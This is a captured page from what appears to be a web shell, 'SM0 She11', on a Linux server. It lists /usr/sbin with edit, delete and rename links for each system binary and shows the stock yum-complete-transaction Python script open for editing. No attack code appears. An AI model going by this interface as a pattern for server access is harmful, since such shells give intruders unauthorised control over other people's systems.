SM0 She11
Path:
/
/
usr
/
sbin
Full Path (server): /usr/sbin
Create Fil3
Upl04d Fil3
📄 accessdb
[E]
[D]
[R]
📄 addgnupghome
[E]
[D]
[R]
📄 addpart
[E]
[D]
[R]
📄 adduser
[E]
[D]
[R]
📄 agetty
[E]
[D]
[R]
📄 alternatives
[E]
[D]
[R]
📄 amavisd
[E]
[D]
[R]
📄 anacron
[E]
[D]
[R]
📄 applygnupgdefaults
[E]
[D]
[R]
📄 arp
[E]
[D]
[R]
📄 arpd
[E]
[D]
[R]
📄 arping
[E]
[D]
[R]
📄 atd
[E]
[D]
[R]
📄 atrun
[E]
[D]
[R]
📄 audispd
[E]
[D]
[R]
📄 auditctl
[E]
[D]
[R]
📄 auditd
[E]
[D]
[R]
📄 augenrules
[E]
[D]
[R]
📄 aureport
[E]
[D]
[R]
📄 ausearch
[E]
[D]
[R]
📄 authconfig
[E]
[D]
[R]
📄 authconfig-tui
[E]
[D]
[R]
📄 autrace
[E]
[D]
[R]
📄 avcstat
[E]
[D]
[R]
📄 badblocks
[E]
[D]
[R]
📄 biosdecode
[E]
[D]
[R]
📄 blkdeactivate
[E]
[D]
[R]
📄 blkdiscard
[E]
[D]
[R]
📄 blkid
[E]
[D]
[R]
📄 blockdev
[E]
[D]
[R]
📄 bridge
[E]
[D]
[R]
📄 btrfs
[E]
[D]
[R]
📄 btrfs-convert
[E]
[D]
[R]
📄 btrfs-debug-tree
[E]
[D]
[R]
📄 btrfs-find-root
[E]
[D]
[R]
📄 btrfs-image
[E]
[D]
[R]
📄 btrfs-map-logical
[E]
[D]
[R]
📄 btrfs-select-super
[E]
[D]
[R]
📄 btrfs-zero-log
[E]
[D]
[R]
📄 btrfsck
[E]
[D]
[R]
📄 btrfstune
[E]
[D]
[R]
📄 build-locale-archive
[E]
[D]
[R]
📄 cacertdir_rehash
[E]
[D]
[R]
📄 capsh
[E]
[D]
[R]
📄 cbq
[E]
[D]
[R]
📄 cfdisk
[E]
[D]
[R]
📄 chcpu
[E]
[D]
[R]
📄 chgpasswd
[E]
[D]
[R]
📄 chkconfig
[E]
[D]
[R]
📄 chpasswd
[E]
[D]
[R]
📄 chronyd
[E]
[D]
[R]
📄 chroot
[E]
[D]
[R]
📄 clamd
[E]
[D]
[R]
📄 clamonacc
[E]
[D]
[R]
📄 clock
[E]
[D]
[R]
📄 clockdiff
[E]
[D]
[R]
📄 consoletype
[E]
[D]
[R]
📄 convertquota
[E]
[D]
[R]
📄 cracklib-check
[E]
[D]
[R]
📄 cracklib-format
[E]
[D]
[R]
📄 cracklib-packer
[E]
[D]
[R]
📄 cracklib-unpacker
[E]
[D]
[R]
📄 create-cracklib-dict
[E]
[D]
[R]
📄 crond
[E]
[D]
[R]
📄 csf
[E]
[D]
[R]
📄 ctrlaltdel
[E]
[D]
[R]
📄 ctstat
[E]
[D]
[R]
📄 ddns-confgen
[E]
[D]
[R]
📄 debugfs
[E]
[D]
[R]
📄 delpart
[E]
[D]
[R]
📄 depmod
[E]
[D]
[R]
📄 devlink
[E]
[D]
[R]
📄 dhclient
[E]
[D]
[R]
📄 dhclient-script
[E]
[D]
[R]
📄 dmfilemapd
[E]
[D]
[R]
📄 dmidecode
[E]
[D]
[R]
📄 dmsetup
[E]
[D]
[R]
📄 dmstats
[E]
[D]
[R]
📄 dnssec-checkds
[E]
[D]
[R]
📄 dnssec-coverage
[E]
[D]
[R]
📄 dnssec-dsfromkey
[E]
[D]
[R]
📄 dnssec-importkey
[E]
[D]
[R]
📄 dnssec-keyfromlabel
[E]
[D]
[R]
📄 dnssec-keygen
[E]
[D]
[R]
📄 dnssec-keymgr
[E]
[D]
[R]
📄 dnssec-revoke
[E]
[D]
[R]
📄 dnssec-settime
[E]
[D]
[R]
📄 dnssec-signzone
[E]
[D]
[R]
📄 dnssec-verify
[E]
[D]
[R]
📄 dovecot
[E]
[D]
[R]
📄 dracut
[E]
[D]
[R]
📄 dumpe2fs
[E]
[D]
[R]
📄 e2freefrag
[E]
[D]
[R]
📄 e2fsck
[E]
[D]
[R]
📄 e2image
[E]
[D]
[R]
📄 e2label
[E]
[D]
[R]
📄 e2undo
[E]
[D]
[R]
📄 e4defrag
[E]
[D]
[R]
📄 eapol_test
[E]
[D]
[R]
📄 edquota
[E]
[D]
[R]
📄 ether-wake
[E]
[D]
[R]
📄 ethtool
[E]
[D]
[R]
📄 faillock
[E]
[D]
[R]
📄 fdformat
[E]
[D]
[R]
📄 fdisk
[E]
[D]
[R]
📄 filefrag
[E]
[D]
[R]
📄 findfs
[E]
[D]
[R]
📄 fixfiles
[E]
[D]
[R]
📄 fsck
[E]
[D]
[R]
📄 fsck.btrfs
[E]
[D]
[R]
📄 fsck.cramfs
[E]
[D]
[R]
📄 fsck.ext2
[E]
[D]
[R]
📄 fsck.ext3
[E]
[D]
[R]
📄 fsck.ext4
[E]
[D]
[R]
📄 fsck.minix
[E]
[D]
[R]
📄 fsck.xfs
[E]
[D]
[R]
📄 fsfreeze
[E]
[D]
[R]
📄 fstrim
[E]
[D]
[R]
📄 fuser
[E]
[D]
[R]
📄 genccode
[E]
[D]
[R]
📄 gencmn
[E]
[D]
[R]
📄 genhomedircon
[E]
[D]
[R]
📄 genhostid
[E]
[D]
[R]
📄 genl
[E]
[D]
[R]
📄 genl-ctrl-list
[E]
[D]
[R]
📄 gennorm2
[E]
[D]
[R]
📄 genrandom
[E]
[D]
[R]
📄 gensprep
[E]
[D]
[R]
📄 getcap
[E]
[D]
[R]
📄 getenforce
[E]
[D]
[R]
📄 getpcaps
[E]
[D]
[R]
📄 getsebool
[E]
[D]
[R]
📄 glibc_post_upgrade.x86_64
[E]
[D]
[R]
📄 groupadd
[E]
[D]
[R]
📄 groupdel
[E]
[D]
[R]
📄 groupmems
[E]
[D]
[R]
📄 groupmod
[E]
[D]
[R]
📄 grpck
[E]
[D]
[R]
📄 grpconv
[E]
[D]
[R]
📄 grpunconv
[E]
[D]
[R]
📄 grub2-bios-setup
[E]
[D]
[R]
📄 grub2-get-kernel-settings
[E]
[D]
[R]
📄 grub2-install
[E]
[D]
[R]
📄 grub2-macbless
[E]
[D]
[R]
📄 grub2-mkconfig
[E]
[D]
[R]
📄 grub2-ofpathname
[E]
[D]
[R]
📄 grub2-probe
[E]
[D]
[R]
📄 grub2-reboot
[E]
[D]
[R]
📄 grub2-rpm-sort
[E]
[D]
[R]
📄 grub2-set-default
[E]
[D]
[R]
📄 grub2-setpassword
[E]
[D]
[R]
📄 grub2-sparc64-setup
[E]
[D]
[R]
📄 grubby
[E]
[D]
[R]
📄 gss-server
[E]
[D]
[R]
📄 halt
[E]
[D]
[R]
📄 hardlink
[E]
[D]
[R]
📄 hwclock
[E]
[D]
[R]
📄 iconvconfig
[E]
[D]
[R]
📄 iconvconfig.x86_64
[E]
[D]
[R]
📄 icupkg
[E]
[D]
[R]
📄 ifcfg
[E]
[D]
[R]
📄 ifconfig
[E]
[D]
[R]
📄 ifdown
[E]
[D]
[R]
📄 ifenslave
[E]
[D]
[R]
📄 ifstat
[E]
[D]
[R]
📄 ifup
[E]
[D]
[R]
📄 init
[E]
[D]
[R]
📄 insmod
[E]
[D]
[R]
📄 install-info
[E]
[D]
[R]
📄 installkernel
[E]
[D]
[R]
📄 intel-microcode2ucode
[E]
[D]
[R]
📄 ip
[E]
[D]
[R]
📄 ip6tables
[E]
[D]
[R]
📄 ip6tables-restore
[E]
[D]
[R]
📄 ip6tables-save
[E]
[D]
[R]
📄 ipmaddr
[E]
[D]
[R]
📄 iptables
[E]
[D]
[R]
📄 iptables-restore
[E]
[D]
[R]
📄 iptables-save
[E]
[D]
[R]
📄 iptunnel
[E]
[D]
[R]
📄 irqbalance
[E]
[D]
[R]
📄 isc-hmac-fixup
[E]
[D]
[R]
📄 kexec
[E]
[D]
[R]
📄 killall5
[E]
[D]
[R]
📄 kpartx
[E]
[D]
[R]
📄 lchage
[E]
[D]
[R]
📄 ldattach
[E]
[D]
[R]
📄 ldconfig
[E]
[D]
[R]
📄 lfd
[E]
[D]
[R]
📄 lgroupadd
[E]
[D]
[R]
📄 lgroupdel
[E]
[D]
[R]
📄 lgroupmod
[E]
[D]
[R]
📄 lid
[E]
[D]
[R]
📄 lnewusers
[E]
[D]
[R]
📄 lnstat
[E]
[D]
[R]
📄 load_policy
[E]
[D]
[R]
📄 logrotate
[E]
[D]
[R]
📄 logsave
[E]
[D]
[R]
📄 losetup
[E]
[D]
[R]
📄 lpasswd
[E]
[D]
[R]
📄 lsmod
[E]
[D]
[R]
📄 lsof
[E]
[D]
[R]
📄 luseradd
[E]
[D]
[R]
📄 luserdel
[E]
[D]
[R]
📄 lusermod
[E]
[D]
[R]
📄 lwresd
[E]
[D]
[R]
📄 makedumpfile
[E]
[D]
[R]
📄 matchpathcon
[E]
[D]
[R]
📄 mii-diag
[E]
[D]
[R]
📄 mii-tool
[E]
[D]
[R]
📄 mkdict
[E]
[D]
[R]
📄 mkdumprd
[E]
[D]
[R]
📄 mke2fs
[E]
[D]
[R]
📄 mkfs
[E]
[D]
[R]
📄 mkfs.btrfs
[E]
[D]
[R]
📄 mkfs.cramfs
[E]
[D]
[R]
📄 mkfs.ext2
[E]
[D]
[R]
📄 mkfs.ext3
[E]
[D]
[R]
📄 mkfs.ext4
[E]
[D]
[R]
📄 mkfs.minix
[E]
[D]
[R]
📄 mkfs.xfs
[E]
[D]
[R]
📄 mkhomedir_helper
[E]
[D]
[R]
📄 mklost+found
[E]
[D]
[R]
📄 mkswap
[E]
[D]
[R]
📄 modinfo
[E]
[D]
[R]
📄 modprobe
[E]
[D]
[R]
📄 mysqld
[E]
[D]
[R]
📄 named
[E]
[D]
[R]
📄 named-checkconf
[E]
[D]
[R]
📄 named-checkzone
[E]
[D]
[R]
📄 named-compilezone
[E]
[D]
[R]
📄 named-journalprint
[E]
[D]
[R]
📄 nameif
[E]
[D]
[R]
📄 netreport
[E]
[D]
[R]
📄 new-kernel-pkg
[E]
[D]
[R]
📄 newusers
[E]
[D]
[R]
📄 nl-class-add
[E]
[D]
[R]
📄 nl-class-delete
[E]
[D]
[R]
📄 nl-class-list
[E]
[D]
[R]
📄 nl-classid-lookup
[E]
[D]
[R]
📄 nl-cls-add
[E]
[D]
[R]
📄 nl-cls-delete
[E]
[D]
[R]
📄 nl-cls-list
[E]
[D]
[R]
📄 nl-link-list
[E]
[D]
[R]
📄 nl-pktloc-lookup
[E]
[D]
[R]
📄 nl-qdisc-add
[E]
[D]
[R]
📄 nl-qdisc-delete
[E]
[D]
[R]
📄 nl-qdisc-list
[E]
[D]
[R]
📄 nologin
[E]
[D]
[R]
📄 nsec3hash
[E]
[D]
[R]
📄 nstat
[E]
[D]
[R]
📄 ownership
[E]
[D]
[R]
📄 packer
[E]
[D]
[R]
📄 pam_console_apply
[E]
[D]
[R]
📄 pam_tally2
[E]
[D]
[R]
📄 pam_timestamp_check
[E]
[D]
[R]
📄 paperconfig
[E]
[D]
[R]
📄 parted
[E]
[D]
[R]
📄 partprobe
[E]
[D]
[R]
📄 partx
[E]
[D]
[R]
📄 pflogsumm
[E]
[D]
[R]
📄 pidof
[E]
[D]
[R]
📄 ping6
[E]
[D]
[R]
📄 pivot_root
[E]
[D]
[R]
📄 plipconfig
[E]
[D]
[R]
📄 pluginviewer
[E]
[D]
[R]
📄 portrelease
[E]
[D]
[R]
📄 portreserve
[E]
[D]
[R]
📄 postalias
[E]
[D]
[R]
📄 postcat
[E]
[D]
[R]
📄 postconf
[E]
[D]
[R]
📄 postdrop
[E]
[D]
[R]
📄 postfix
[E]
[D]
[R]
📄 postkick
[E]
[D]
[R]
📄 postlock
[E]
[D]
[R]
📄 postlog
[E]
[D]
[R]
📄 postmap
[E]
[D]
[R]
📄 postmulti
[E]
[D]
[R]
📄 postqueue
[E]
[D]
[R]
📄 postsuper
[E]
[D]
[R]
📄 poweroff
[E]
[D]
[R]
📄 ppp-watch
[E]
[D]
[R]
📄 pure-authd
[E]
[D]
[R]
📄 pure-config.pl
[E]
[D]
[R]
📄 pure-config.py
[E]
[D]
[R]
📄 pure-ftpd
[E]
[D]
[R]
📄 pure-ftpwho
[E]
[D]
[R]
📄 pure-mrtginfo
[E]
[D]
[R]
📄 pure-quotacheck
[E]
[D]
[R]
📄 pure-uploadscript
[E]
[D]
[R]
📄 pwck
[E]
[D]
[R]
📄 pwconv
[E]
[D]
[R]
📄 pwhistory_helper
[E]
[D]
[R]
📄 pwunconv
[E]
[D]
[R]
📄 qshape
[E]
[D]
[R]
📄 quot
[E]
[D]
[R]
📄 quotacheck
[E]
[D]
[R]
📄 quotaoff
[E]
[D]
[R]
📄 quotaon
[E]
[D]
[R]
📄 quotastats
[E]
[D]
[R]
📄 rcmysql
[E]
[D]
[R]
📄 rdisc
[E]
[D]
[R]
📄 rdma
[E]
[D]
[R]
📄 readprofile
[E]
[D]
[R]
📄 reboot
[E]
[D]
[R]
📄 repquota
[E]
[D]
[R]
📄 resize2fs
[E]
[D]
[R]
📄 resizepart
[E]
[D]
[R]
📄 restorecon
[E]
[D]
[R]
📄 rmmod
[E]
[D]
[R]
📄 rndc
[E]
[D]
[R]
📄 rndc-confgen
[E]
[D]
[R]
📄 route
[E]
[D]
[R]
📄 routef
[E]
[D]
[R]
📄 routel
[E]
[D]
[R]
📄 rpc.rquotad
[E]
[D]
[R]
📄 rpcbind
[E]
[D]
[R]
📄 rpcinfo
[E]
[D]
[R]
📄 rsyslogd
[E]
[D]
[R]
📄 rtacct
[E]
[D]
[R]
📄 rtcwake
[E]
[D]
[R]
📄 rtmon
[E]
[D]
[R]
📄 rtpr
[E]
[D]
[R]
📄 rtstat
[E]
[D]
[R]
📄 runlevel
[E]
[D]
[R]
📄 runuser
[E]
[D]
[R]
📄 safe_finger
[E]
[D]
[R]
📄 sasl2-shared-mechlist
[E]
[D]
[R]
📄 saslauthd
[E]
[D]
[R]
📄 sasldblistusers2
[E]
[D]
[R]
📄 saslpasswd2
[E]
[D]
[R]
📄 sefcontext_compile
[E]
[D]
[R]
📄 selabel_digest
[E]
[D]
[R]
📄 selabel_lookup
[E]
[D]
[R]
📄 selabel_lookup_best_match
[E]
[D]
[R]
📄 selabel_partial_match
[E]
[D]
[R]
📄 selinux_restorecon
[E]
[D]
[R]
📄 selinuxconlist
[E]
[D]
[R]
📄 selinuxdefcon
[E]
[D]
[R]
📄 selinuxenabled
[E]
[D]
[R]
📄 selinuxexeccon
[E]
[D]
[R]
📄 semanage
[E]
[D]
[R]
📄 semodule
[E]
[D]
[R]
📄 sendmail
[E]
[D]
[R]
📄 sendmail.postfix
[E]
[D]
[R]
📄 service
[E]
[D]
[R]
📄 sestatus
[E]
[D]
[R]
📄 setcap
[E]
[D]
[R]
📄 setenforce
[E]
[D]
[R]
📄 setfiles
[E]
[D]
[R]
📄 setquota
[E]
[D]
[R]
📄 setsebool
[E]
[D]
[R]
📄 sfdisk
[E]
[D]
[R]
📄 shutdown
[E]
[D]
[R]
📄 sim_server
[E]
[D]
[R]
📄 slattach
[E]
[D]
[R]
📄 sln
[E]
[D]
[R]
📄 smtp-sink
[E]
[D]
[R]
📄 smtp-source
[E]
[D]
[R]
📄 snmpd
[E]
[D]
[R]
📄 snmptrapd
[E]
[D]
[R]
📄 ss
[E]
[D]
[R]
📄 sshd
[E]
[D]
[R]
📄 sshd-keygen
[E]
[D]
[R]
📄 sulogin
[E]
[D]
[R]
📄 sushell
[E]
[D]
[R]
📄 swaplabel
[E]
[D]
[R]
📄 swapoff
[E]
[D]
[R]
📄 swapon
[E]
[D]
[R]
📄 switch_root
[E]
[D]
[R]
📄 sys-unconfig
[E]
[D]
[R]
📄 sysctl
[E]
[D]
[R]
📄 tc
[E]
[D]
[R]
📄 tcpd
[E]
[D]
[R]
📄 tcpdmatch
[E]
[D]
[R]
📄 tcsd
[E]
[D]
[R]
📄 telinit
[E]
[D]
[R]
📄 testsaslauthd
[E]
[D]
[R]
📄 tmpwatch
[E]
[D]
[R]
📄 tracepath
[E]
[D]
[R]
📄 tracepath6
[E]
[D]
[R]
📄 try-from
[E]
[D]
[R]
📄 tsig-keygen
[E]
[D]
[R]
📄 tune2fs
[E]
[D]
[R]
📄 tuned
[E]
[D]
[R]
📄 tuned-adm
[E]
[D]
[R]
📄 udevadm
[E]
[D]
[R]
📄 unix_chkpwd
[E]
[D]
[R]
📄 unix_update
[E]
[D]
[R]
📄 update-alternatives
[E]
[D]
[R]
📄 useradd
[E]
[D]
[R]
📄 userdel
[E]
[D]
[R]
📄 userhelper
[E]
[D]
[R]
📄 usermod
[E]
[D]
[R]
📄 usernetctl
[E]
[D]
[R]
📄 uuserver
[E]
[D]
[R]
📄 vigr
[E]
[D]
[R]
📄 vipw
[E]
[D]
[R]
📄 virt-what
[E]
[D]
[R]
📄 visudo
[E]
[D]
[R]
📄 vmcore-dmesg
[E]
[D]
[R]
📄 vpddecode
[E]
[D]
[R]
📄 weak-modules
[E]
[D]
[R]
📄 wipefs
[E]
[D]
[R]
📄 wpa_cli
[E]
[D]
[R]
📄 wpa_passphrase
[E]
[D]
[R]
📄 wpa_supplicant
[E]
[D]
[R]
📄 xfs_admin
[E]
[D]
[R]
📄 xfs_bmap
[E]
[D]
[R]
📄 xfs_copy
[E]
[D]
[R]
📄 xfs_db
[E]
[D]
[R]
📄 xfs_estimate
[E]
[D]
[R]
📄 xfs_freeze
[E]
[D]
[R]
📄 xfs_fsr
[E]
[D]
[R]
📄 xfs_growfs
[E]
[D]
[R]
📄 xfs_info
[E]
[D]
[R]
📄 xfs_io
[E]
[D]
[R]
📄 xfs_logprint
[E]
[D]
[R]
📄 xfs_mdrestore
[E]
[D]
[R]
📄 xfs_metadump
[E]
[D]
[R]
📄 xfs_mkfile
[E]
[D]
[R]
📄 xfs_ncheck
[E]
[D]
[R]
📄 xfs_quota
[E]
[D]
[R]
📄 xfs_repair
[E]
[D]
[R]
📄 xfs_rtcp
[E]
[D]
[R]
📄 xqmstats
[E]
[D]
[R]
📄 xtables-multi
[E]
[D]
[R]
📄 yum-complete-transaction
[E]
[D]
[R]
📄 yumdb
[E]
[D]
[R]
📄 zdump
[E]
[D]
[R]
📄 zic
[E]
[D]
[R]
📄 zramctl
[E]
[D]
[R]
Editing: yum-complete-transaction
#!/usr/bin/python -tt # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software Foundation, # Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. import sys sys.path.insert(0,'/usr/share/yum-cli') import yum from yum.misc import setup_locale from utils import YumUtilBase import logging import os import os.path try: from yum.misc import find_unfinished_transactions, find_ts_remaining except ImportError: import glob def find_unfinished_transactions(yumlibpath='/var/lib/yum'): """returns a list of the timestamps from the filenames of the unfinished transactions remaining in the yumlibpath specified. """ timestamps = [] tsallg = '%s/%s' % (yumlibpath, 'transaction-all*') #tsdoneg = '%s/%s' % (yumlibpath, 'transaction-done*') # not used remove ? tsalls = glob.glob(tsallg) #tsdones = glob.glob(tsdoneg) # not used remove ? for fn in tsalls: trans = os.path.basename(fn) timestamp = trans.replace('transaction-all.','') timestamps.append(timestamp) timestamps.sort() return timestamps def find_ts_remaining(timestamp, yumlibpath='/var/lib/yum'): """this function takes the timestamp of the transaction to look at and the path to the yum lib dir (defaults to /var/lib/yum) returns a list of tuples(action, pkgspec) for the unfinished transaction elements. Returns an empty list if none. """ to_complete_items = [] tsallpath = '%s/%s.%s' % (yumlibpath, 'transaction-all', timestamp) tsdonepath = '%s/%s.%s' % (yumlibpath,'transaction-done', timestamp) tsdone_items = [] if not os.path.exists(tsallpath): # something is wrong, here, probably need to raise _something_ return to_complete_items if os.path.exists(tsdonepath): tsdone_fo = open(tsdonepath, 'r') tsdone_items = tsdone_fo.readlines() tsdone_fo.close() tsall_fo = open(tsallpath, 'r') tsall_items = tsall_fo.readlines() tsall_fo.close() for item in tsdone_items: # this probably shouldn't happen but it's worth catching anyway if item not in tsall_items: continue tsall_items.remove(item) for item in tsall_items: item = item.replace('\n', '') if item == '': continue (action, pkgspec) = item.split() to_complete_items.append((action, pkgspec)) return to_complete_items class YumCompleteTransaction(YumUtilBase): NAME = 'yum-complete-transaction' VERSION = '1.0' USAGE = """ yum-complete-transaction: completes unfinished yum transactions which occur due to error, failure or act of $deity usage: yum-complete-transaction """ def __init__(self): YumUtilBase.__init__(self, YumCompleteTransaction.NAME, YumCompleteTransaction.VERSION, YumCompleteTransaction.USAGE) self.logger = logging.getLogger("yum.verbose.cli.yumcompletets") # Add util commandline options to the yum-cli ones self.optparser = self.getOptionParser() if hasattr(self, 'getOptionGroup'): self.optparser_grp = self.getOptionGroup() else: self.optparser_grp = self.optparser self.addCmdOptions() try: self.main() finally: self.unlock() def clean_up_ts_files(self, timestamp, path, disable=False): # clean up the transactions tsdone = '%s/transaction-done.%s' % (path, timestamp) tsall = '%s/transaction-all.%s' % (path, timestamp) results = [] for f in [tsall, tsdone]: if os.path.exists(f): if disable: disable_f = f + '.disabled' os.rename(f, disable_f) results.append(disable_f) else: os.unlink(f) return results def addCmdOptions(self): self.optparser_grp.add_option("--cleanup-only", default=False, action="store_true", dest="cleanup", help='Do not complete the transaction just clean up transaction journals') def main(self): # Parse the commandline option and setup the basics. try: opts = self.doUtilConfigSetup() except yum.Errors.RepoError, e: self.logger.error("Cannot handle specific enablerepo/disablerepo options.") sys.exit(50) if self.conf.uid != 0: self.logger.error("Error: You must be root to run yum-complete-transaction.") sys.exit(1) # Setup yum (Ts, RPM db, Repo & Sack) self.doUtilYumSetup() # Do the real action # get the list of transactions remaining # list the number of them # take the most recent one # populate the ts # run it self.run_with_package_names.add('yum-utils') times = [] for thistime in find_unfinished_transactions(self.conf.persistdir): if thistime.endswith('disabled'): continue # XXX maybe a check here for transactions that are just too old to try and complete? times.append(thistime) if not times: print "No unfinished transactions left." sys.exit() if opts.cleanup: print "Cleaning up unfinished transaction journals" # nuke ts files in yumlibpath for timestamp in times: print "Cleaning up %s" % timestamp self.clean_up_ts_files(timestamp, self.conf.persistdir) sys.exit() timestamp = times[-1] print "There are %d outstanding transactions to complete. Finishing the most recent one" % len(times) try: remaining = find_ts_remaining(timestamp, yumlibpath=self.conf.persistdir) except yum.Errors.MiscError, e: self.logger.error("Error: %s" % e) self.logger.error("Please report this error to: %s" % self.conf.bugtracker_url) sys.exit(1) print "The remaining transaction had %d elements left to run" % len(remaining) for (action, pkgspec) in remaining: if action == 'install': try: self.install(pattern=pkgspec) except yum.Errors.InstallError, e: pass if action == 'erase': (e, m, u) = self.rpmdb.matchPackageNames([pkgspec]) for pkg in e: self.remove(po=pkg) current_count = len(self.tsInfo) if hasattr(self, 'doUtilBuildTransaction'): errc = self.doUtilBuildTransaction(unfinished_transactions_check=False) if errc: sys.exit(errc) else: try: self.buildTransaction(unfinished_transactions_check=False) except yum.Errors.YumBaseError, e: self.logger.critical("Error building transaction: %s" % e) sys.exit(1) if current_count != len(self.tsInfo): print '\n\nTransaction size changed - this means we are not doing the\n' \ 'same transaction as we were before. Aborting and disabling\n' \ 'this transaction.' print '\nYou could try running: package-cleanup --problems\n' \ ' package-cleanup --dupes\n' \ ' rpm -Va --nofiles --nodigest' filelist = self.clean_up_ts_files(timestamp, self.conf.persistdir, disable=True) print '\nTransaction files renamed to:\n %s' % '\n '.join(filelist) sys.exit() if len(self.tsInfo) < 1: print 'Nothing in the unfinished transaction to cleanup.' print "Cleaning up completed transaction file" self.clean_up_ts_files(timestamp, self.conf.persistdir) sys.exit() else: try: if self.doUtilTransaction() == 0: print "Cleaning up completed transaction file" self.clean_up_ts_files(timestamp, self.conf.persistdir) sys.exit() else: print "Not removing old transaction files" sys.exit() except yum.Errors.YumBaseError,e: print "Error: %s" % str(e) sys.exit(1) if __name__ == '__main__': setup_locale() util = YumCompleteTransaction()
Save